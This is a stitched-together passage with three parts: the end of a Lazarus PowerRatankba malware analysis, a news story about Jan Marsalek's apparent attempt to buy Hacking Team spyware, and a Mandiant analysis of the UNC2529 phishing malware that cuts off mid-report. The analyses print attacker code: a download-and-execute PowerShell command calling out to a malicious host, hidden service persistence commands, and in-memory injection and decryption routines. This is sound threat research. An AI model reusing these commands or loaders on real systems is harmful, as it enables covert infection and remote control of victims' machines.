and executing the PowerRatankba code. The dropper decodes the Base64-encoded parameters, calls the server at hxxps://ecombox[.]store/tbl_add[.]php and executes the PowerShell code saved in C:\users\public\REG_TIME.ps1 via a hidden Window, sleeping for 5,000 milliseconds before deleting the saved PowerShell script. ## PowerRatankba In-Depth The malware chain leverages another PowerShell decoder script to recreate the PowerRatankba PowerShell code via “crypt_do” function leveraging Base64, Rijndael with SHA256. The passed password is “PowershellAgent.” According to researchers at Proofpoint, PowerRatankba is a newer reconnaissance and downloader implant tool leveraged by Lazarus to fingerprint and obtain information about compromised machines. The URI structure and the malware resemble the one described as “PowerRatankba.B” by Proofpoint, as they have the same DES encryption algorithm amongst other code template similarities. One difference for this PowerRatankba variant is it communicates to the server on HTTPS. Notably, the malware template contains the commented out base server hxxps://bodyshoppechiropractic[.]com. The main available actions are as follows: - action="What" - action="cmd" - action="CmdRes" - action="BaseInfo" The malware leverages Windows Management Instrumentation (WMI) to obtain the victim IP by parsing Win32_NetworkAdapterConfiguration for the IP and MAC address. It is notable that for the victim ID, the malware leverages the MAC address with Base64-encoding, which is passed to action=”What” and encoded one more time via the Base64 algorithm. PowerRatankba queries the system information for the following details, heavily using WMI for Win32_NetworkAdapterConfiguration and Win32_OperatingSystem. Additionally, the malware retrieves the logged-in user via $env:USERNAME, the process list via tasklist, obtains proxy settings via registry queries, and checks for open file shares (RPC 139, SMB 445) and Remote Desktop Protocol (RDP; 3389) ports, writing to a log if “Open” or “Closed or filtered.” The full collection of items is performed via the following code excerpt: ```powershell wmi = Get-WmiObject -Computer $private:computer -Class Win32_NetworkAdapterConfiguration -ErrorAction SilentlyContinue $loggedUser = $env:USERNAME if ($private:wmi = Get-WmiObject -Computer $private:computer -Class Win32_OperatingSystem -ErrorAction SilentlyContinue) { $data.'OS Architecture' = $private:wmi.OSArchitecture $data.'OS Boot Time' = $private:wmi.ConvertToDateTime($private:wmi.LastBootUpTime) $data.'OS Language' = $private:wmi.OSLanguage $data.'OS Version' = $private:wmi.Version $data.'OS Name' = $private:wmi.Caption $data.'OS Install Date' = $private:wmi.ConvertToDateTime($private:wmi.InstallDate) $data.'OS Service Pack' = [string]$private:wmi.ServicePackMajorVersion $private:wmi.ServicePackMinorVersion } $ports = @{ 'File shares/RPC' = '139' 'File shares' = '445' 'RDP' = '3389' } $data."Port $($ports.$service) ($service)" = 'Open' $private:socket.Close() $data."Port $($ports.$service) ($service)" = 'Closed or filtered' $private:socket = $null $reg2 = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $env:COMPUTERNAME) $regkey2 = $reg2.OpenSubkey("SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings") $data.'ProxyEnable' = $regkey2.GetValue('ProxyEnable') $data.'ProxySetting' = $regkey2.GetValue('ProxyServer') $global:PROXY_ENABLE = $data.'ProxyEnable' $global:PROXY_SERVER = $data.'ProxySetting' $outp = "HOST: $comName USER: $loggedUser" $outp = $data.GetEnumerator() | Sort-Object 'Name' | Format-Table -AutoSize | Out-String $outp ``` The malware checks if it has administrator privileges querying for security identifier (SID) “S-1-5-32-544” and “Enabled group” via whoami /groups, which is a built-in Administrators group. If it has admin privileges, the PowerRatankba attempts to download the next stage from hxxps://ecombox[.]store/tbl_add[.]php as “c:\windows\temp\REG_WINDEF.ps1” and register it as a service through the “sc create” command as “AutoProtect,” with the “cmd.exe /powershell” command having the “start=Auto” parameter. The relevant code is as follows: ```powershell $ret = Test-Path -Path $schedulePath $cmdSchedule = 'sc create ' + $nr_task + ' binPath= "cmd.exe /c powershell.exe -ep bypass -windowstyle hidden -file ' + $schedulePath + '" start= Auto' ``` PowerRatankba sets up an autostart in \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ as WIN_REG.exe. The malware leverages DES encryption with DES using “PowerShl” as both the key and initialization vector (IV) in Ascii {80 119 114 83 104 101 108 108} and then encodes in Base64. ### Command Descriptions - `dagent`: Delete agent (‘taskkill /f /pid’, ‘sc schtasks /delete /tn’) - `exagent`: Modify and replace ps1 and VBS files - `ragent`: Send data to the server, download executable to C:\Users\Public\Documents\tmp, and run it via PowerShell - `kagent`: Kill - `delay`: Delay execution - `panel`: Parse panel commands (“sdel” and “run”) The discovered PowerRatankba malware contains helpful “ConsoleLog” output logic designed to debug the application, which is meant to aid the developer to survey the output. The output is stored in the hardcoded c:\windows\temp\tmp0914.tmp location. The malware outputs the following messages during its execution: - "Start to get base info" - "Generating UDID" - “Generated udid” - "Finish to get base info" - "Check if it is admin" - "Register to Service" - "Register to Start up" - "Sending Baseinfo to server" - "Try again to send baseinfo" - "Start waiting command" ## Mitigations & Recommendations Researchers believe Lazarus (also known as “Lazarus Group,” “Hidden Cobra,” and “Kimsuky”) to be an APT group comprising operators from “Bureau 121” (121국), the cyber warfare division of North Korea’s RGB. The group has been active since at least 2009 and is presumed to operate out of a multitude of international locations. Lazarus appears to have been interested in a variety of sectors and targets in the last eighteen months, but it continues to be one of the most formidable APT groups targeting and exploiting financial institutions. The group has reportedly been involved in a string of bank intrusions impacting institutions all over the world, heavily targeting Latin American financial institutions and cryptocurrency exchanges. Monitoring and reviewing the incidents related to Lazarus and dissecting the group’s attacks and toolkits across the ATT&CK framework may assist with mitigating the exposure to this threat. Additionally, Lazarus attacks appear to reportedly rely on social media and trusted relationships, which may elevate their abilities to execute and install their payloads. As such, security awareness training—especially that which pertains to social media and social engineering—is also recommended.
# 'World's Most Wanted Man' Involved in Bizarre Attempt to Buy Hacking Tools The fugitive executive of the embattled payment startup Wirecard was mentioned in a brazen and bizarre attempt to purchase hacking tools and surveillance technology from an Italian company in 2013, an investigation by Motherboard and the German weekly Der Spiegel found. Jan Marsalek, a 40-year-old Austrian who until recently was the chief operating officer of the rising fintech company Wirecard, seems to have taken a meeting with the infamous Italian surveillance technology provider Hacking Team in 2013. At the time, Marsalek is described as an official representative of the government of Grenada, a small Caribbean island of around 100,000 people, in a letter that bears the letterhead of the Grenada government. The documents were included in a cache published after Hacking Team was hacked in 2015. In recent days, Marsalek has been described as the 'world's most wanted man.' It is unclear from the documents alone whether Marsalek played any role in the attempt to procure hacking tools, or whether his name was simply used. However, months before Marsalek appears to have contacted Hacking Team, several websites with official sounding names such as StateOfGrenada.org were registered under the name of Jan Marsalek, as Der Spiegel reported last week. Some of the sites were registered with Marsalek’s phone number and his Munich address at the time, and the servers were apparently operated from Germany. Wirecard provided digital payment services and was considered one of the most important companies in the financial tech industry. Wirecard offered a mobile payment app called Boon, which was essentially a virtual MasterCard card, it also offered a prepaid debit card called mycard2go, and worked with companies such as KLM, Rakuten, and Qatar Airways to manage their online transactions. The company suddenly collapsed in June after German regulators raided its headquarters as part of an investigation into fraudulent stock price manipulation and 1.9 billion euros that are missing from the company’s books. Marsalek is now a fugitive and a key suspect in the German investigation. He reportedly fled to Belarus and is now hiding in Russia under the protection of the FSB, according to German news reports. In the past, he was involved in other strange dealings: he bragged about an attempt to recruit 15,000 Libyan militiamen and about a trip to Syria along with Russian military, according to the Financial Times. “Further to your discussion with our representative, Mr. Jan Marsalek, we would like to hereby confirm the interest of the Government of Grenada in exploring a potential acquisition of the smartphone interception platform of your company,” reads what appears to be an official Grenada government letter dated October 31, 2013, allegedly signed by the Minister for Foreign Affairs Nickolas Steele. A letter that was attached to emails between a Mexican intermediary and Hacking Team. Along with a Mexican intermediary, Marsalek appears to have brokered a meeting in Milan at Hacking Team’s headquarters on November 27, 2013, according to the leaked emails. An email dated November 28 mentions a “fruitful meeting” with Marsalek and an associate “regarding Grenada.” “Mr. Marsalek will report his impressions to the Grenada officers, if positive, the process will take around three weeks. Please keep us updated,” wrote Marco Bettini, one of Hacking Team’s founders and the then sales manager. A former Hacking Team employee, who asked to remain anonymous, confirmed receiving the emails regarding the meeting. He said, however, that he was not present at the meeting. As it turns out, Marsalek was never a Grenada government representative, Der Spiegel and Motherboard have found. In a phone call, Steele, who is now the Minister of Health in Grenada, said the document leaked in the Hacking Team emails is fraudulent. “I can categorically state that the letter in your attachment bearing a resemblance to my signature and office at that time is a fraudulent document,” Steele said in the phone call, referring to the apparent business deal between Grenada and Hacking Team. “I certainly did not make that request or any such request.” Steele confirmed to Spiegel and Motherboard that he had met Marsalek and another person whose name is mentioned in the document in the summer of 2013. “He was a very charismatic young man and a smooth talker,” Steele remembers. The meetings were about a business proposal from Marsalek involving Wirecard technology. In the end, however, no deal was made, Steele said. The head of Encryptech, a Mexican company that is mentioned in the letter, and which worked as an intermediary between Hacking Team and some government customers, called the letter “fake.” “They used the name of my company without authorization,” Alfonso Ayensa said in an online chat. The spyware deal, however, never went through. It is impossible to say from the documents alone who was attempting to procure these hacking tools, what they were going to be used for, or how involved Marsalek was. Hacking Team has always maintained that it only sold its products to government agencies, after obtaining an export license from the Italian government. Had this deal gone through, it would have been the first known case where Hacking Team’s powerful spyware ended up in the hands of private citizens. Paolo Lezzi, the head of Memento Labs, the company that was born out of Hacking Team’s ashes, said Grenada was never a customer, based on the company’s internal documents he has access to. Two other former Hacking Team employees who worked there in 2013 and onwards said Grenada never purchased the company's products.
# The UNC2529 Triple Double: A Trifecta Phishing Campaign **Threat Research** Nick Richard, Dimiter Andonov May 04, 2021 In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures, and the professionally coded sophistication of the malware, this threat actor appears experienced and well-resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP, and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi, and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution. ## UNC2529 Phishing Overview Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020. During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads.com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first of a three-stage process. The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function. - http://<fqdn>/downld-id_<string> - http://<fqdn>/downld-id-<string> - http://<fqdn>/files-upload_<string> - http://<fqdn>/files-upload-<string> - http://<fqdn>/get_file-id_<string> - http://<fqdn>/get_file-id-<string> - http://<fqdn>/zip_download_<string> - http://<fqdn>/zip_download-<string> The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double-clicking on the file. All but one of the file name patterns for the ZIP, PDF, and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”. Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh.com/update_java.dat or hxxp://clanvisits.com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets.net/admin/client.php and hxxps://lasartoria.net/admin/client.php. Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries, and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. The threat actor made slight modifications to the URL pattern during the second wave. - http://<fqdn>/<string> - http://<fqdn>/dowld_<string> - http://<fqdn>/download_<string> - http://<fqdn>/files_<string> - http://<fqdn>/id_<string> - http://<fqdn>/upld_<string> Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels.com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999.com/admin4/client.php, hxxps://widestaticsinfo.com/admin4/client.php, hxxps://secureinternet20.com/admin5/client.php, and hxxps://adsinfocoast.com/admin5/client.php. Three of these domains were registered after the observed second wave. ## Tailored Targeting UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads.com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company. Another example is a freight/transport company that received a phish with the subject, “compton ca to flowery branch ga,” while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line. A utility company received a phish with the subject, “easement to bore to our stairwell area.” While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique. ### Sample Financial Industry Subject Lures | Subject Lure | Wave | |---------------------------------------------------------------|------| | re: <redacted> outdoors environment (1 out of 3) | 1st | | accepted: follow up with butch & karen | 1st | | re: appraisal for <redacted> - smysor rd | 2nd | | re: <redacted> financing | 2nd | ### Sample Insurance Industry Subject Lures | Subject Lure | Wave | |------------------------------------------------------------|------| | fw: certificate of insurance | 1st | | fw: insurance for plow | 1st | | please get this information | 1st | | question & number request | 1st | | claim status | 2nd | | applications for medicare supplement & part d | 2nd | Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized. Some patterns were observed. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure. Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker. ### Sample Pattern Subject Lures | Subject Lure | Wave | |--------------------------------------------------------------|------| | dear worker, your work # ujcb0utczl | 1st | | good day worker, your job number- 8ldbsq6ikd | 1st | | hello worker, your work number- u39hbutlsf | 1st | | good day candidate, your vacancy # xcmxydis4s | 2nd | | dear worker, your work # ujcb0utczl | 2nd | ## Industry and Regional Targeting UNC2529’s phishing campaign was both global and impacted an array of industries. While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave. In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level. Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups. ## Technical Analysis ### Overview The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines. ### Ecosystem in Details #### DOUBLEDRAG Downloader Component The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code after de-obfuscation. ```plaintext "C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code> ``` The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown below. ```plaintext IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh.com/update_java.dat") ``` #### DOUBLEDROP Dropper Component The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution. ##### Setup The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login. In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values. ```plaintext * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>} * key: LocalServer * value: <default> * data: <bootstrap_ps_code> * key: ProgID * value: <default> * data: <rnd_guid_1> * value: <last_4_chars_of_rnd_guid_0> * data: <encoded_loader> * key: VersionIndependentProgID * value: <default> * data: <rnd_guid_1> * value: <first_4_chars_of_rnd_guid_0> * data: <encoded_rc4_key> * value: <last_4_chars_of_rnd_guid_0> * data: <rc4_encrypted_payload> * HK[CU|LM]\Software\Classes\{<rnd_guid_1>} * value: <default> * data: <rnd_guid_1> * key: CLSID * value: <default> * data: <rnd_guid_0> * HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>} * value: <default> * data: <rnd_guid_1> * key: TreatAs * value: <default> * data: <rnd_guid_0> ``` Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key. Additionally, at this point, the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations. ```plaintext <relative_offset> = buffer[32] buffer[32 + <relative_offset> + 1] = <reversed_rc4_key> ``` Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key. At this point, all the necessary steps that ensure the payload's persistence on the system are complete, and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. ##### Persistence Mechanism The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not. If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID. Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task. If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same, but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService or MsCtfMonitor, by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class, essentially achieving the same execution sequence as in the elevated privilege case. ##### Bootstrap The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. The bootstrap code finds the location of the launcher script, decodes it, and then executes it within the same PowerShell process. ```plaintext $enc = [System.Text.Encoding]::UTF8; $loader = Get-ItemProperty -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>'))) -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>'; $xor_val = <xor_val>; iex($enc.GetString($(for ($i = 0; $i -lt $loader.Length; $i++) { if ($xor_val -ge 250) { $xor_val = 0 } $loader[$i] -bxor $xor_val; $xor_val += 4 }))) ``` Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems. The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. ```plaintext def encdec(src, key): out = bytearray() for b in src: if key >= 250: key = 0 out.append(b ^ key) key += 4 return out ``` Once the launcher is decoded, it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command. ##### Launcher The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, relocate the image if necessary, resolve the imports, and finally execute the payload's entry point. ```plaintext function DecryptPayload { param($fn7, $xf7, $mb5) $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5; $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11))); $ow7 = $fn1[$en8..($en8 + 31)]; [array]::Reverse($ow7); $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7; $en8 = { $xk2 = 0..255; 0..255 | % { $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5))); $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_] }; $fn1 | % { $sp3 = ($sp3 + 1) % (275 - 19); $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64); $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3]; $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))] } }; $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join ''; ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) { [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0)))) })) } ``` ```plaintext function ExecuteApi { param($fn7, $xf7) $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]); $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed'); $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed'); $vy9.CreateType() } ``` ```plaintext function GetProcAddress { param($fn7) $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods'); $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll')))); $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7)) } ``` The decrypted payload is then injected into the memory of the target process. ```plaintext $decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>'; ``` ```plaintext function InjectPayload { param($payload, $payloadLen, $entryPoint, $access) $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access); [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen); $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint); [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0); Start-Sleep -s (((2673 - 942) + 1271)) } ``` ### DOUBLEBACK Backdoor Component The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. In contrast with other backdoors, DOUBLEBACK does not have its services hardcoded, and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins. #### Details The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode, the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value. ```plaintext # observed salt = 0x436ea76d def gen_host_id(vol_ser_num, salt): salted_val = (vol_ser_num + salt) & 0xffffffff md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little'))) second_dword = struct.unpack('<i', md5.digest())[0] return (salted_val + second_dword) & 0xffffffff ``` Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input. ```plaintext # src is the host ID def gen_guid(src): b = bytearray() xor = 0xaabbccdd for _ in range(4): b += src.to_bytes(4, byteorder='little') src ^= xor xor = (xor + xor) & 0xffffffff return uuid.UUID(bytes_le=bytes(b)) ``` Once the GUID is generated, the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created, the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into. #### Executing Within the PowerShell Process The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus or BitDefender engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created. The injection process involves finding the backdoor's image under the appropriate registry key. Note that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key. With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and injects its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image if needed, resolves the imports, and finally executes the backdoor’s DllMain function. At this point, the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself. #### Executing as Injected in the msiexec.exe Process The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. ### Configuration The backdoor uses an embedded configuration that contains the C2 URLs and a key. The configuration data is formatted as follows: ```plaintext struct tag_config_header_t { uint32_t xor_val_1; uint32_t xor_val_2; uint32_t xor_val_3; uint32_t xor_val_4; } config_header_t; struct tag_config_t { config_header_t header; uint8_t encoded_config[]; } config_t; ``` The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1. The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. ### Plugin Management The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm with a host-specific value we call implant ID. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm. ```plaintext def lcg(max_range): global seed if seed == 0: seed = get_RDTSC() n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff val = n % max_range seed = n return val ``` The backdoor enumerates all the registry values under the plugins home location and expects each of the plugins to be formatted as follows: ```plaintext struct tag_plugin_header_t { uint32_t xor_val; uint32_t param_2; the second parameter of the pfn_init uint32_t len_1; uint32_t len_2; uint32_t pfn_init; uint32_t pfn_cleanup; uint32_t param_3; the third parameter of the pfn_init uint32_t unused; } plugin_header_t; struct tag_plugin_t { plugin_header_t header; uint8_t encoded_plugin[]; } plugin_t; ``` 